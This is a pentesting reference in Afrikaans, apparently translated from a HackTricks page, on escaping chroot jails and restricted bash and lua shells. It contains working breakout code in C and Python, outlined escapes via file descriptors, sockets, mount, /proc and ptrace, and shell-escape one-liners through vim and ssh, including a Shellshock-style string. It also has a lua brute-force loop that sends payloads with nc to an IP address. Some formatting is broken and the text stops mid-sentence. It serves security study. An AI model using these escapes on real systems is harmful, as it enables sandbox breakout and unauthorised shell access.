Van wikipedia: Die chroot-meganisme is nie bedoel om te verdedig teen opsetlike inmenging deur bevoorregte (root) gebruikers nie. Op die meeste stelsels stapel chroot-kontekste nie behoorlik nie en chrooted programme met voldoende voorregte kan 'n tweede chroot uitvoer om uit te breek.
Gewoonlik beteken dit dat jy root moet wees binne die chroot om te ontsnap.
Die instrumentchw00t is geskep om die volgende scenario's te misbruik en uit chroot te ontsnap.
Root + CWD
As jy root binne 'n chroot is, kan jy ontsnap deur nog 'n chroot te skep. Dit is omdat 2 chroots nie saam kan bestaan nie (in Linux), so as jy 'n gids skep en dan 'n nuwe chroot op daardie nuwe gids skep terwyl jy buiten dit is, sal jy nou buiten die nuwe chroot wees en dus in die FS wees.
Dit gebeur omdat chroot gewoonlik NIE jou werksgids na die aangeduide een skuif nie, so jy kan 'n chroot skep maar buite dit wees.
Gewoonlik sal jy nie die chroot binêre binne 'n chroot-jail vind nie, maar jy kan 'n binêre saamstel, oplaai en uitvoer:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Dit is soortgelyk aan die vorige geval, maar in hierdie geval stoor die aanvaller 'n lêer beskrywer na die huidige gids en dan skep hy die chroot in 'n nuwe vouer. Laastens, aangesien hy toegang het tot daardie FDbuite die chroot, het hy toegang daartoe en hy ontsnap.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD kan oor Unix Domain Sockets oorgedra word, so:
* Skep 'n kind proses (fork)
* Skep UDS sodat ouer en kind kan praat
* Voer chroot uit in die kind proses in 'n ander gids
* In die ouer proses, skep 'n FD van 'n gids wat buite die nuwe kind proses chroot is
* Oordra na die kind proses daardie FD met behulp van die UDS
* Kind proses chdir na daardie FD, en omdat dit buite sy chroot is, sal hy die tronk ontsnap
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Mount die wortel toestel (/) in 'n gids binne die chroot
* Chroot in daardie gids
Dit is moontlik in Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Mount procfs in 'n gids binne die chroot (as dit nog nie is nie)
* Soek 'n pid wat 'n ander root/cwd inskrywing het, soos: /proc/1/root
* Chroot in daardie inskrywing
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Skep 'n Fork (kind proses) en chroot in 'n ander gids dieper in die FS en CD daarop
* Van die ouer proses, skuif die gids waar die kind proses in 'n gids voor die chroot van die kinders is
* Hierdie kind proses sal homself buite die chroot vind
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* 'n Rukkie gelede kon gebruikers hul eie prosesse van 'n proses van hulself debugeer... maar dit is nie meer standaard moontlik nie
* Hoe dit ook al sy, as dit moontlik is, kan jy ptrace in 'n proses en 'n shellcode binne dit uitvoer ([sien hierdie voorbeeld](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumerasie
Kry inligting oor die tronk:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Pas PATH aan
Kyk of jy die PATH omgewingsveranderlike kan aanpas
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Gebruik vim
:setshell=/bin/sh:shell
Skep skrip
Kontroleer of jy 'n uitvoerbare lêer kan skep met /bin/bash as inhoud
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Kry bash vanaf SSH
As jy via ssh toegang verkry, kan jy hierdie truuk gebruik om 'n bash-skal te voer:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Let daarop dat elke keer wanneer jy die vorige een-liner in 'n ander lua omgewing uitvoer, die volgorde van die funksies verander. Daarom, as jy 'n spesifieke funksie moet uitvoer, kan jy 'n brute force aanval uitvoer deur verskillende lua omgewings te laai en die eerste funksie van die le biblioteek aan te roep:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Kry interaktiewe lua-skal: As jy binne 'n beperkte lua-skal is, kan jy 'n nuwe lua-skal (en hopelik onbeperk) kry deur te bel: